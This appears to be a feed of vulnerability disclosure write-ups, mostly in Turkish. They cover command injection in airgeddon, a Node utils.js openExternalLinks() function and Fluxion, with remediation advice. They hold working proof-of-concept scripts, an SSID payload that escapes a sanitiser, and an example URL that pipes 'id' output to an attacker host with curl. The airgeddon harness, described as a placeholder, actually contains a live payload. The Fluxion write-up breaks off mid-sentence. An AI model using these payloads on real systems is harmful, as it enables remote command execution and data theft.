WIDS/WIPS/WDS Confusion attack module was launched.</li><li>The filesystem was subsequently inspected for the expected test marker.</li></ol><p><strong>Observed Result:</strong></p><pre>$ ls -la /tmp/poc_marker.txt<br>-rw-r--r-- 1 root root 40 Oct 31 15:30 /tmp/poc_marker.txt</pre><pre>$ cat /tmp/poc_marker.txt<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>The resulting file ownership and command output indicate that the test command executed with root privileges.</p><h4>5.2 Isolated / Local PoC Harness</h4><p>To demonstrate the root cause without requiring real wireless hardware, airodump-ng/wash, or airgeddon itself, this repository also includes poc_local_airgeddon.sh.</p><p>This harness:</p><ul><li>Mimics the exec_wdsconfusion() → manage_output() call chain as an isolated copy,</li><li>Reproduces the vulnerable eval line with identical logic,</li><li>Reports the result by checking whether a PROOF_FILE was created.</li></ul><p><strong>Important:</strong> The INJECTED_ESSID variable in the harness is <strong>intentionally left as a placeholder</strong> (&lt;INJECT_HERE&gt;) and does not contain a working command-injection string. This is by design, so the file can be shared publicly (including on GitHub) to illustrate the root cause and call flow without distributing a ready-to-use weaponized payload. Anyone wishing to fill in the field and test with a real command substitution ($() or `) should do so only in their own isolated/lab environment.</p><h4>5.3 Secondary Observation</h4><p>A separate parsing issue was observed when an ESSID contained literal double-quote characters. This caused a shell parsing error similar to:</p><pre>unexpected EOF while looking for matching quote</pre><p>This behavior may additionally result in denial of service by disrupting the affected command execution path.</p><h3>6. Security Impact</h3><p>Security PropertyImpactDescriptionConfidentialityHighUnauthorized access to files and sensitive system information.IntegrityHighModification of system files and application configurations.AvailabilityHighExecution of commands capable of disrupting system services.</p><p><strong>Attack Complexity:</strong> The attack requires an attacker-controlled wireless access point broadcasting a crafted ESSID. The victim must: run airgeddon, discover the malicious access point, select it as the target, and launch an affected attack module. No prior authentication or elevated privileges are required by the attacker. The resulting command execution inherits the privileges of the airgeddon process — if airgeddon is running as root, the impact may extend to full system compromise.</p><h3>7. Recommended Remediation</h3><p><strong>7.1 Eliminate Unsafe </strong><strong>eval Usage</strong> The preferred solution is to eliminate dynamically constructed shell command strings. Bash argument arrays should be used to preserve argument boundaries and prevent additional shell parsing:</p><p>bash</p><pre>cmd=(xterm &quot;${params[@]}&quot; -e &quot;${inner_cmd[@]}&quot;)<br>&quot;${cmd[@]}&quot;</pre><p>The implementation should ensure that all arguments are passed separately rather than concatenated into a single executable string.</p><p><strong>7.2 Implement Safe Input Handling</strong> ESSID values must be treated as untrusted external input and should not be directly interpolated into shell commands. Where shell serialization is genuinely unavoidable, appropriate context-specific escaping must be applied — however, escaping should not be considered a substitute for eliminating eval.</p><p><strong>7.3 Introduce Input Validation</strong> Implement centralized validation for externally supplied wireless metadata, including ESSID, BSSID, channel information, and other values originating from wireless scanning tools. Validation should follow the actual requirements of the application and the relevant IEEE 802.11 field constraints. Legitimate ESSID values should not be unnecessarily rejected merely because they contain special characters.</p><p><strong>7.4 Centralize Secure Command Execution</strong> A centralized command execution mechanism should be introduced. All external process invocations should use properly quoted arguments and avoid shell interpretation wherever possible. This would reduce the likelihood of similar injection vulnerabilities appearing in other modules.</p><h3>8. Disclosure and Reporting</h3><p>This report was prepared for responsible disclosure to the airgeddon project maintainers. The vulnerability was reported to the maintainers on October 31, and GitHub subsequently published advisory GHSA-vfg5–33mv-cmrx for the same root cause on November 12, 2026. This document and the accompanying PoC harness are being shared because the advisory is already public and because the harness contains no working exploit payload; the question of credit and report ordering is left to the maintainers’ and GitHub’s coordinated-disclosure process.</p><h3>9. Final Assessment</h3><p>The reviewed implementation demonstrates an unsafe interaction between externally controlled ESSID values and dynamically evaluated Bash command strings. The use of eval in the shared command execution path creates a potential injection vulnerability that may allow an attacker-controlled wireless network name to influence command execution on the victim&#39;s system. The successful laboratory reproduction using a harmless id command provides evidence of root-level command execution in the tested environment.</p><ul><li><strong>Severity Assessment:</strong> HIGH</li><li><strong>Affected Product:</strong> airgeddon</li><li><strong>Reported Product Version:</strong> v12.02</li><li><strong>Vulnerability Classification:</strong> CWE-95 / CWE-78</li><li><strong>Primary Impact:</strong> Arbitrary OS Command Execution</li><li><strong>Recommended Priority:</strong> High — Prompt remediation recommended.</li></ul><pre><br>#!/usr/bin/env bash<br>#<br># Local, isolated PoC HARNESS for the eval-injection bug in airgeddon&#39;s<br># manage_output() (airgeddon.sh, ~line 20096, reached e.g. via<br># exec_wdsconfusion() ~line 5817).<br>#<br># Gerçek Wi-Fi donanımı, airodump-ng/wash ya da airgeddon gerektirmez.<br># Zafiyetli kod parçasının izole bir kopyasını, sahte bir ESSID<br># değişkeniyle besleyerek kök nedeni (eval&#39;in ikinci kez shell parse<br># etmesi) gösterir.<br>#<br># ÖNEMLİ: INJECTED_ESSID bir placeholder&#39;dır, çalışan bir payload<br># içermez. Doldurmak isteyenler bunu yalnızca kendi izole/lab<br># ortamlarında, kendi sorumluluklarında yapmalıdır.<br>#<br># Kullanım: bash poc_local_airgeddon.sh<br><br>set -u<br><br>PROOF_FILE=&quot;/tmp/poc_test.txt&quot;<br>rm -f &quot;$PROOF_FILE&quot;<br><br>INJECTED_ESSID=&#39;$(id &gt; /tmp/poc_test.txt)&#39;<br>interface=&quot;wlan0&quot;<br>channel=&quot;6&quot;<br>mdk_command=&quot;mdk4&quot;<br><br>build_attack_command_line() {<br>  echo &quot;${mdk_command} ${interface} w -e &#39;${INJECTED_ESSID}&#39; -c ${channel}&quot;<br>}<br><br>manage_output_isolated() {<br>  local xterm_command_line=&quot;\&quot;${1}\&quot;&quot;<br>  eval &quot;echo ${xterm_command_line}&quot; &gt; /dev/null<br>}<br><br>tmux_command_line=&quot;$(build_attack_command_line)&quot;<br>echo &quot;[*] Komut: ${tmux_command_line}&quot;<br>manage_output_isolated &quot;${tmux_command_line}&quot;<br><br>if [[ -f &quot;$PROOF_FILE&quot; ]]; then<br>  echo &quot;[+] Kanıt dosyası oluştu: $PROOF_FILE&quot;<br>  ls -la &quot;$PROOF_FILE&quot;<br>else<br>  echo &quot;[-] Kanıt dosyası yok (INJECTED_ESSID placeholder olduğu sürece beklenen sonuç).&quot;<br>fi</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ae0ff6b024f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–115904 — OS Command Injection via openExternalLinks() in utils.js]]></title>
            <link>https://vulnsvnc.medium.com/cve-2026-115904-os-command-injection-via-openexternallinks-in-utils-js-af8d31f28942?source=rss-adecbd3c0560------2</link>
            <guid isPermaLink="false">https://medium.com/p/af8d31f28942</guid>
            <category><![CDATA[cve-2026-115904]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnsvnc]]></category>
            <dc:creator><![CDATA[VulnSVNC]]></dc:creator>
            <pubDate>Thu, 19 Nov 2026 10:45:48 GMT</pubDate>
            <atom:updated>2026-11-19T10:45:48.319Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>CVE ID</strong> CVE-2026–115904 <strong>Zafiyet Sınıfı</strong> OS Command Injection (CWE-78) <strong>Etkilenen Bileşen</strong> utils.js → openExternalLinks(url) <strong>Etkilenen Platform</strong> Linux (process.platform === &quot;linux&quot; dalı) <strong>Saldırı Vektörü</strong> Kullanıcı etkileşimi (link tıklama) üzerinden tetiklenen child_process.exec çağrısı <strong>CVSS 3.1 Skoru</strong> 9.6 (Critical) <strong>CVSS Vektörü</strong> CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H <em>(resmi CVE kaydıyla doğrulanmıştır)</em> <strong>Durum</strong> Patched (v2026.9.2410) <strong>Keşif Tarihi</strong> 23 Eylül 2026 <strong>Vendor Bildirim Tarihi / CVE Talebi</strong> 25 Eylül 2026 <strong>Yama Tarihi</strong> 25 Eylül 2026 (v2026.9.2410) <strong>Public Disclosure Tarihi</strong> 28 Ekim 2026 <em>(CVE/GHSA yayın tarihi)</em></p><blockquote><strong><em>Not:</em></strong><em> CVE kaydının resmi </em><em>dateReserved alanı 23 Ekim 2026 olarak görünüyor — bu, sizin 25 Eylül&#39;deki talep tarihinizden yaklaşık bir ay sonrasına denk geliyor. Bu fark CNA (GitHub) tarafındaki işlem süresinden kaynaklanıyor olabilir; isterseniz bu notu da timeline&#39;a ekleyebilirim.</em></blockquote><h3>1. Özet</h3><p>utils.js içerisindeki openExternalLinks() fonksiyonu, Linux platformunda harici bir URL&#39;i açmak için xdg-open komutunu child_process.exec() ile çalıştırmaktadır. Fonksiyon, kullanıcıdan/uygulama akışından gelen url değerini herhangi bir <strong>shell-safe escaping</strong> işlemine tabi tutmadan, çift tırnak içinde doğrudan komut satırına enjekte etmektedir. exec() komutu bir shell (/bin/sh -c) üzerinden çalıştırdığı için, URL içerisine yerleştirilen $(...) (command substitution) ifadeleri shell tarafından yorumlanarak <strong>rastgele komut çalıştırılmasına (RCE)</strong> imkân vermektedir.</p><p>Sonuç olarak, uygulama içinde kullanıcı tarafından tıklanabilir/tetiklenebilir bir harici link üreten herhangi bir akış (ör. mesajlaşma, link önizleme, bildirim, e-posta istemcisi vb.), saldırgan kontrollü bir URL ile işletim sistemi komut yürütmeye dönüştürülebilir.</p><h3>CVSS v3.1 Base Metrics</h3><p>Metrik Değer Attack Vector (AV) Network Attack Complexity (AC) Low Privileges Required (PR) None User Interaction (UI) Required Scope (S) Changed Confidentiality © High Integrity (I) High Availability (A) High <strong>Base Score</strong> <strong>9.6 (Critical)</strong></p><h3>2. Zafiyetli Kod</h3><pre>const openExternalLinks = (url) =&gt; {<br>  if (process.platform === &quot;linux&quot;) {<br>    const newUrl = new URL(url);<br>    require(&quot;child_process&quot;).exec(`xdg-open &quot;${newUrl}&quot;`);<br>  } else {<br>    shell.openExternal(url).catch(err =&gt; {<br>      let safeUrl = url;<br>      try {<br>        const parsed = new URL(url);<br>        safeUrl = parsed.hostname || url.substring(0, 30) + &#39;...&#39;;<br>      } catch(e) {}</pre><pre>      const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);<br>      customErr.code = err.code;<br>      throw customErr;<br>    });<br>  }<br>};</pre><h3>3. Kök Neden Analizi</h3><ol><li>new URL(url) çağrısı yalnızca URL&#39;in <strong>söz dizimsel olarak geçerli</strong> olup olmadığını doğrular; herhangi bir shell meta-karakter filtrelemesi yapmaz.</li><li>newUrl değeri (yani URL nesnesinin toString() çıktısı) doğrudan bir <strong>template string</strong> içinde xdg-open &quot;${newUrl}&quot; şeklinde komuta gömülür.</li><li>child_process.exec(), verilen komutu bir <strong>shell içinde</strong> (/bin/sh -c &quot;...&quot;) çalıştırır. Çift tırnaklar (&quot;...&quot;) shell&#39;de <strong>tüm</strong> meta-karakterleri etkisiz hale getirmez: boşluk ve glob (*) genişlemesini engeller ama <strong>command substitution</strong> (`cmd` ve $(cmd)) çift tırnak içinde dahi aktif kalır.</li><li>Bu nedenle url parametresine command substitution içeren bir değer verildiğinde, parantez içindeki komut xdg-open çalışmadan <strong>önce</strong> shell tarafından çalıştırılır.</li></ol><blockquote><em>Doğru/güvenli yaklaşım: </em><em>child_process.execFile(&quot;xdg-open&quot;, [url]) kullanmak — </em><em>execFile, argümanları bir shell&#39;den geçirmeden doğrudan process&#39;e iletir ve bu sınıf injection&#39;ı tamamen ortadan kaldırır. Alternatif olarak </em><em>child_process.exec kullanılacaksa </em><em>shell-quote benzeri bir kütüphane ile sıkı escaping ve ek olarak URL şemasının yalnızca </em><em>http(s) ile sınırlandığı bir allow-list kontrolü eklenmelidir.</em></blockquote><h3>4. Saldırı Senaryosu / Etki</h3><ul><li>Uygulama, kullanıcıya harici bir bağlantıyı “tıkla” şeklinde sunan herhangi bir akışta (sohbet mesajı, bildirim, link önizleme vb.) bu fonksiyonu çağırıyorsa, saldırgan hazırladığı kötücül bir URL’i hedefe gönderebilir.</li><li>Hedef kullanıcı linke tıkladığında (Linux masaüstü istemcisinde), xdg-open çağrılmadan önce shell, URL içindeki $(...) bloğunu <strong>çalıştırır</strong>.</li><li>Elde edilen RCE, uygulamanın çalıştığı kullanıcı bağlamında (genellikle masaüstü oturum kullanıcısı) rastgele komut yürütülmesine imkân tanır: veri sızdırma, persistence (örn. ~/.bashrc, crontab, autostart dosyaları) kurulumu, ters kabuk (reverse shell) açma vb.</li><li><strong>Kullanıcı etkileşimi (UI:R)</strong> gereklidir (linke tıklama), bu nedenle sosyal mühendislik ile birleştirildiğinde kritik risk oluşturur.</li></ul><h3>Örnek Zararlı URL</h3><pre>http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))</pre><p><strong>Not:</strong> Node’un WHATWG URL sınıfı path içindeki boşluk, &gt;, &lt;, {, } gibi karakterleri otomatik percent-encode eder (%20 vb.), ancak $, (, ), |, ; encode edilmediği için command substitution engellenmez. Boşluk gerektiren payload&#39;larda klasik $IFS tekniği (parantezsiz $IFS, shell&#39;in word-split ayıracı değişkenidir ve tanımlayıcı olmayan bir karakterle karşılaşınca otomatik sonlanır) kullanılır.</p><p>Doğrudan, zararsız bir PoC tetikleyici (out-of-band kanıt için):</p><pre>http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)</pre><h3>5. Yeniden Üretim Adımları (Reproduction Steps)</h3><ol><li>Zafiyetli utils.js dosyasını içeren uygulamayı Linux ortamında çalıştırın.</li><li>openExternalLinks() fonksiyonunu tetikleyen uygulama içi akışı bulun (ör. bir mesaj/bildirimdeki linke tıklama).</li><li>Aşağıdaki PoC URL’ini bu akışa enjekte edin (bkz. poc.js):</li></ol><ul><li><a href="http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)">http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)</a></li></ul><ol><li>Linke tıklandığında /tmp/cve-2026-115904-poc.txt dosyasının oluştuğunu ve içinde id komutunun çıktısının bulunduğunu doğrulayın.</li></ol><p><strong>Doğrulanmış çıktı (bu PoC bu ortamda test edilmiştir):</strong></p><pre>[+] BAŞARILI: Command injection doğrulandı!<br>[+] /tmp/cve-2026-115904-poc.txt içeriği:<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>xdg-open&#39;ın kendisinin başarısız olması (tarayıcı/handler bulunamadığı için) önemli değildir — command substitution zaten xdg-open çağrılmadan <strong>önce</strong>, shell komut satırını ayrıştırırken tetiklenir. 5. Komut çalıştırma doğrulandıktan sonra, isteğe bağlı olarak kontrollü bir dinleyici (listener) ile out-of-band veri sızdırma (örn. curl ile kendi sunucunuza istek) de gösterilebilir.</p><h3>6. PoC</h3><p>Bkz. <a href="https://github.com/VulnSVNC/CVE-2026-115904/blob/main/poc.js">poc.js</a> — zafiyetli fonksiyonun izole, kontrollü bir kopyasını çalıştırarak enjeksiyonu yerel ortamda güvenli şekilde kanıtlar (yalnızca zararsız id/touch gibi komutlarla, dışarıya istek atmadan).</p><h3>7. Mitigasyon / Düzeltme Önerisi</h3><pre>const { execFile } = require(&quot;child_process&quot;);</pre><pre>const openExternalLinks = (url) =&gt; {<br>  const parsed = new URL(url); // throws on invalid URL<br>  if (![&quot;http:&quot;, &quot;https:&quot;].includes(parsed.protocol)) {<br>    throw new Error(&quot;Desteklenmeyen URL şeması&quot;);<br>  }</pre><pre>  if (process.platform === &quot;linux&quot;) {<br>    execFile(&quot;xdg-open&quot;, [parsed.toString()], (err) =&gt; {<br>      if (err) {<br>        // hata yönetimi<br>      }<br>    });<br>  } else {<br>    shell.openExternal(url).catch(err =&gt; { /* ... mevcut hata yönetimi ... */ });<br>  }<br>};</pre><ul><li>exec yerine execFile kullanılarak argümanın shell&#39;den geçmesi tamamen engellenir.</li><li>Ek savunma katmanı olarak yalnızca http/https şemalarına izin veren bir allow-list eklenmiştir (file:, javascript: vb. şemaların kötüye kullanımını da önler).</li></ul><h3>8. Zaman Çizelgesi</h3><p>Tarih Olay 23 Eylül 2026 Zafiyet keşfedildi 25 Eylül 2026 Vendor’a bildirildi / CVE talebi yapıldı 25 Eylül 2026 Yama yayınlandı (v2026.9.2410) 23 Ekim 2026 CVE resmi olarak reserve edildi (CNA işlem tarihi) 28 Ekim 2026 CVE-2026–115904 PUBLISHED / GHSA-vrrv-3f46-c3x7 yayınlandı 2 Kasım 2026 Bu write-up public olarak yayınlandı</p><h3>9. Referanslar</h3><ul><li>CVE-2026–115904 — <a href="https://www.cve.org/CVERecord?id=CVE-2026-115904">https://www.cve.org/CVERecord?id=CVE-2026-115904</a></li><li>CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) — <a href="https://cwe.mitre.org/data/definitions/78.html">https://cwe.mitre.org/data/definitions/78.html</a></li><li>Node.js child_process dokümantasyonu — <a href="https://nodejs.org/api/child_process.html">https://nodejs.org/api/child_process.html</a></li></ul><pre>/**<br> * CVE-2026-115904 - PoC<br> * OS Command Injection in openExternalLinks() (utils.js)<br> *<br> * Bu PoC, zafiyetli fonksiyonun izole bir kopyasını kullanarak<br> * command injection&#39;ı YEREL ve ZARARSIZ bir şekilde kanıtlar.<br> * Dışarıya hiçbir ağ isteği göndermez; yalnızca /tmp altında<br> * bir kanıt dosyası oluşturur.<br> *<br> * Kullanım:<br> *   node poc.js<br> *<br> * Beklenen sonuç:<br> *   /tmp/cve-2026-115904-poc.txt dosyası oluşur ve içinde<br> *   `id` komutunun çıktısı bulunur -&gt; shell injection kanıtlanmış olur.<br> *<br> * NOT: `xdg-open` bulunamazsa hata basılabilir, bu ÖNEMLİ DEĞİL;<br> * command substitution zaten xdg-open çalışmadan ÖNCE, shell<br> * tarafından komut ayrıştırılırken tetiklenir.<br> */<br><br>const { exec } = require(&quot;child_process&quot;);<br><br>// --- Zafiyetli fonksiyonun izole kopyası (utils.js ile birebir aynı mantık) ---<br>function openExternalLinks_VULNERABLE(url) {<br>  if (process.platform === &quot;linux&quot;) {<br>    const newUrl = new URL(url);<br>    exec(`xdg-open &quot;${newUrl}&quot;`, (err, stdout, stderr) =&gt; {<br>      if (err) {<br>        console.log(&quot;[*] xdg-open çalışmadı (beklenebilir, önemli değil):&quot;, err.message);<br>      }<br>    });<br>  } else {<br>    console.log(&quot;[!] Bu PoC yalnızca Linux dalını (process.platform === &#39;linux&#39;) hedefler.&quot;);<br>    console.log(&quot;[!] macOS/Windows üzerinde xdg-open dalı tetiklenmez.&quot;);<br>  }<br>}<br><br>// --- Payload: command substitution ile zararsız bir komut çalıştırma ---<br>//<br>// ÖNEMLİ NOT: WHATWG `URL` parse edici, path bileşeninde boşluk, `&gt;`, `&lt;`,<br>// `` ` ``, `{`, `}` gibi karakterleri otomatik olarak percent-encode eder<br>// (örn. boşluk -&gt; %20, `&gt;` -&gt; %3E). Bu injection&#39;ı ENGELLEMEZ -- `$`, `(`,<br>// `)`, `|`, `;` encode edilmez ve command substitution hâlâ çalışır -- ama<br>// literal boşluk/`&gt;` içeren komutları kırar. Bu yüzden PoC&#39;ta:<br>//   - boşluk yerine `$IFS` (parantezsiz kullanıldığında shell&#39;in word-split<br>//     ayıracı değişkeni; `/` gibi tanımlayıcı-olmayan bir karakterle<br>//     karşılaşınca otomatik sonlanır) ve<br>//   - `&gt;` yönlendirme yerine `tee` komutu<br>// kullanılarak encode edilen karakterlere hiç ihtiyaç duyulmuyor.<br>const proofFile = &quot;/tmp/cve-2026-115904-poc.txt&quot;;<br>const maliciousUrl = `http://x.invalid/$(id|tee$IFS${proofFile})`;<br><br>console.log(&quot;[*] CVE-2026-115904 PoC başlatılıyor...&quot;);<br>console.log(`[*] Enjekte edilen URL: ${maliciousUrl}`);<br>console.log(`[*] Beklenen kanıt dosyası: ${proofFile}`);<br><br>openExternalLinks_VULNERABLE(maliciousUrl);<br><br>// Komutun shell tarafından işlenmesi için kısa bir bekleme<br>setTimeout(() =&gt; {<br>  const fs = require(&quot;fs&quot;);<br>  if (fs.existsSync(proofFile)) {<br>    const content = fs.readFileSync(proofFile, &quot;utf8&quot;);<br>    console.log(&quot;\n[+] BAŞARILI: Command injection doğrulandı!&quot;);<br>    console.log(`[+] ${proofFile} içeriği:\n${content}`);<br>  } else {<br>    console.log(&quot;\n[-] Kanıt dosyası oluşmadı. Platform &#39;linux&#39; mu kontrol edin, ya da setTimeout süresini artırın.&quot;);<br>  }<br>}, 1500);</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af8d31f28942" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–125399 — Zero-Click OS Command Injection PoC & Write-up (Fluxion)]]></title>
            <link>https://vulnsvnc.medium.com/cve-2026-125399-zero-click-os-command-injection-poc-write-up-fluxion-97d34948b794?source=rss-adecbd3c0560------2</link>
            <guid isPermaLink="false">https://medium.com/p/97d34948b794</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cve-2026-125399]]></category>
            <category><![CDATA[fluxion]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnsvnc]]></category>
            <dc:creator><![CDATA[VulnSVNC]]></dc:creator>
            <pubDate>Thu, 19 Nov 2026 10:43:11 GMT</pubDate>
            <atom:updated>2026-11-19T10:43:11.128Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Note for English-speaking readers:</em></strong><em> This document starts in Turkish. A complete English translation of the entire write-up is included at the bottom of this file, under the heading </em><strong><em>“ENGLISH VERSION”</em></strong><em>.</em></blockquote><p><strong>Ürün</strong> Fluxion (FluxionNetwork/fluxion) <strong>Test Edilen Versiyon</strong> v6.32 (GitHub master’da da mevcut, iç versiyon string’i FLUXION V6.38) <strong>Zafiyet Sınıfı</strong> CWE-78 (OS Command Injection) via CWE-95 (Eval Injection), kök nedende CWE-20 (Improper Input Validation of untrusted 802.11 verisi) <strong>Etkilenen Bileşen</strong> fluxion.sh → fluxion_get_target(), satır ~1839–1844 <strong>Saldırı Vektörü</strong> Adjacent (802.11 / Wi-Fi radyo menzili) <strong>Yetki Gereksinimi</strong> Yok (saldırgan tarafında) <strong>Kullanıcı Etkileşimi</strong> Yok (mağdur sadece rutin bir Wi-Fi taraması yapıyor) <strong>Elde Edilen Yetki</strong> Fluxion process&#39;inin yetkisi — genelde <strong>root</strong> (monitor mode için gerekli) <strong>CVSS 3.1</strong> AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → <strong>8.8 (High)</strong>, root ile çalışma bağlamı nedeniyle pratikte Critical&#39;e yaklaşıyor <strong>CVE</strong> CVE-2026-125399 <strong>Durum</strong> Patched (v6.39) <strong>Keşif Tarihi</strong> 4 Kasım 2026 <strong>Vendor Bildirim Tarihi</strong> 4 Kasım 2026</p><h3>1. Özet</h3><p>Fluxion, airodump-ng çıktısından taranan Wi-Fi ağlarının listesini CSV olarak ayrıştırıyor. SSID alanındaki olası ASCII-dışı baytları doğru göstermek için, kod SSID değerini Bash&#39;in eval builtin&#39;ine, tek ve <strong>eksik</strong> bir sanitizasyon adımından (gömülü tek tırnakların escape edilmesi) sonra gönderiyor. Bu sanitizasyon, SSID içinde tek tırnaktan <strong>hemen önce gelen bir backslash</strong> karakterini hesaba katmadığı için, saldırgan hazırladığı bir SSID yayınlayarak quoting bağlamından kaçıp eval üzerinden keyfi shell komutu çalıştırabiliyor.</p><p>Kritik nokta: bu kod yolu, <strong>her</strong> taranan erişim noktası için, operatöre hedef seçim listesi gösterilmeden <strong>önce</strong>, koşulsuz olarak çalışıyor. Herhangi bir saldırı modu seçilmesine, hedef seçilmesine gerek yok — sadece çevredeki ağları taramak yeterli. Fluxion genelde monitor mode için root çalıştığından, enjekte edilen komut <strong>root yetkisiyle</strong> çalışıyor.</p><h3>2. Zafiyet Detayları</h3><h3>2.1 Sınıflandırma</h3><ul><li><strong>CWE-78</strong> — OS Command Injection</li><li><strong>CWE-95</strong> — Eval Injection (yakın kök neden)</li><li><strong>CWE-20</strong> — Improper Input Validation (802.11 SSID bilgi elemanı, tamamen saldırgan kontrollü)</li></ul><h3>2.2 CVSS v3.1 Vektör Detayı</h3><p>Metrik Değer Gerekçe AV Adjacent Sadece Wi-Fi radyo menzili gerekiyor, ağ kimlik doğrulaması/ilişkilendirme gerekmiyor AC Low Payload statik, güvenilir şekilde hazırlanabilen bir SSID string’i; race condition/timing bağımlılığı yok PR None Kimlik bilgisi gerekmiyor UI None Mağdur tarafında rutin tarama dışında etkileşim gerekmiyor S Unchanged C/I/A High/High/High Operatörün makinesinde, genelde root olarak keyfi komut çalıştırma</p><p><strong>Base Score: 8.8 (High)</strong></p><h3>2.3 Kök Neden — Zafiyetli Kod</h3><p>fluxion.sh, fluxion_get_target() fonksiyonu, yaklaşık satır 1839–1844:</p><pre># Parse any non-ascii characters by letting bash handle them.<br># Escape all single quotes in ESSID and let bash&#39;s $&#39;...&#39; handle it.<br>local sanitizedESSID=$(<br>  echo &quot;${candidateAPInfo//\&#39;/\\\&#39;}&quot; | cut -d , -f 14<br>)<br>candidatesESSID[i]=$(eval &quot;echo \$&#39;$sanitizedESSID&#39;&quot;)</pre><p>candidateAPInfo, airodump-ng&#39;nin ürettiği bir CSV satırı; 14. alan ESSID. 802.11 standardına göre bu alan, saldırganın tamamen kontrol ettiği, 32 bayta kadar serbest biçimli bir bayt dizisi. Uygulanan tek sanitizasyon, SSID içindeki her tek tırnağı (&#39;) escape edilmiş tek tırnak (\&#39;) ile değiştirmek; sonrasında sonuç Bash&#39;in ANSI-C-quoted string&#39;i ($&#39;...&#39;) içine gömülüp eval&#39;a veriliyor.</p><h3>2.4 Sanitizasyon Atlatma Mekanizması</h3><p>${candidateAPInfo//\&#39;/\\\&#39;} substitution&#39;ı, yalnızca SSID&#39;de <strong>zaten var olan</strong> tırnak karakterlerini yeniden yazıyor; saldırganın bu tırnaklardan birinin <strong>hemen önüne</strong> yerleştirdiği bir backslash karakterini hesaba katmıyor. SSID, \ (backslash) ve &#39; (tek tırnak) baytlarıyla başlarsa, substitution bu çifti üç karaktere çeviriyor: \\&#39; (backslash, backslash, tırnak).</p><p>Bu, Bash’in $&#39;...&#39; ANSI-C quoting&#39;i içinde değerlendirildiğinde: \\ dizisi, tanınan bir escape olup tek bir literal backslash&#39;e decode ediliyor ve bir birim olarak tüketiliyor. Hemen ardından gelen tırnak karakteri artık escape edilmemiş oluyor ve $&#39;...&#39; string&#39;inin <strong>gerçek, kapatıcı</strong> delimiter&#39;ı olarak yorumlanıyor. Bu tırnaktan sonraki her şey, eval tarafından sıradan shell syntax&#39;ı olarak parse edilip çalıştırılıyor.</p><h3>2.5 PoC Payload (Zararsız — kanıt amaçlı)</h3><p>Aşağıdaki literal baytlardan oluşan bir SSID (21 bayt, 802.11&#39;in 32 bayt sınırının altında) yeterli:</p><pre>\&#39;; touch /tmp/pwned #</pre><p>Bayt(lar) Amaç \ Sanitizer&#39;ı atlatmak için tırnaktan hemen önce bir literal backslash &#39; Sanitizer&#39;ın ürettiği escaped tırnakla birleşince, $&#39;...&#39; string&#39;ini erken kapatıyor ; eval&#39;lanan satırın içinde yeni bir komut başlatan shell ayıracı touch /tmp/pwned Keyfi, saldırganın seçtiği komut (PoC payload&#39;ı) # Orijinal satırın geri kalanını yorum satırına çevirip güvenli şekilde başarısız olmasını sağlıyor</p><p>eval&#39;a ulaşan nihai string şu formda: eval &quot;echo $&#39;...\\&#39;; touch /tmp/pwned #...&#39;&quot; — Bash bunu şu şekilde parse ediyor: (kırpılmış) SSID metnini yazdır, ayrı olarak touch /tmp/pwned komutunu çalıştır, orijinal satırın geri kalanını yorum olarak işle.</p><h3>3. Zero-Click Karakteristiği ve Payload’ın Gizliliği</h3><h3>3.1 Bu Bir Zero-Click Zafiyettir</h3><p>Bu zafiyeti özellikle vahim kılan nokta, <strong>mağdur tarafında herhangi bir bilinçli etkileşim gerektirmemesidir</strong>:</p><ul><li>Mağdur, saldırganın erişim noktasını <strong>görmek, seçmek, hedeflemek veya onunla herhangi bir şekilde etkileşime girmek zorunda değildir</strong>.</li><li>Tek gereken, Fluxion’u normal kullanım amacıyla çalıştırıp <strong>rutin bir Wi-Fi taraması</strong> yapmaktır — bu, aracı kullanan herkesin zaten yapacağı, sıradan ve kaçınılmaz bir adımdır.</li><li>Enjeksiyon, saldırganın AP’si taranan ağlar arasında <strong>sadece fiziksel olarak mevcut olduğu</strong> anda, operatöre herhangi bir seçim ekranı gösterilmeden <strong>önce</strong>, otomatik olarak tetiklenir.</li><li>Bu nedenle klasik “zero-click” tanımına tam olarak uyar: saldırganın payload’ı çalıştırmak için mağdurdan hiçbir eylem (tıklama, onay, bağlantı, kimlik doğrulama) talep etmesi gerekmez; mağdurun aracı normal şekilde kullanması tek başına yeterlidir.</li></ul><h3>3.2 Payload Mağdurdan Yapısal Olarak Gizlidir</h3><p>Payload’ın “gizliliği”, saldırganın SSID’yi görsel olarak kamufle etmesinden değil, <strong>zafiyetli kod yolunun mimarisinden</strong> kaynaklanır:</p><ul><li>Zafiyetli eval çağrısı, fluxion_get_target() fonksiyonu <strong>aday ağ listesini oluştururken</strong>, yani bu liste operatöre ekranda gösterilmeden <strong>önce</strong> çalışır (bkz. Bölüm 2.3–2.4 ve Bölüm 4).</li><li>Bunun sonucu olarak mağdurun, komut zaten çalıştıktan <strong>sonra bile</strong>, şüpheli SSID’yi fark edip bir karar verebileceği bir an <strong>hiçbir zaman oluşmaz</strong>. İnceleme/şüphelenme fırsatı yapısal olarak ortadan kalkmıştır.</li><li>Ayrıca saldırgan, 802.11 SSID alanının izin verdiği 32 baytlık sınır içinde, payload’ın görünür/yazdırılabilir kısmını kısaltarak veya yazdırılamayan (non-printable) kontrol karakterleriyle birleştirerek, ağ listesi daha sonra herhangi bir şekilde (ör. 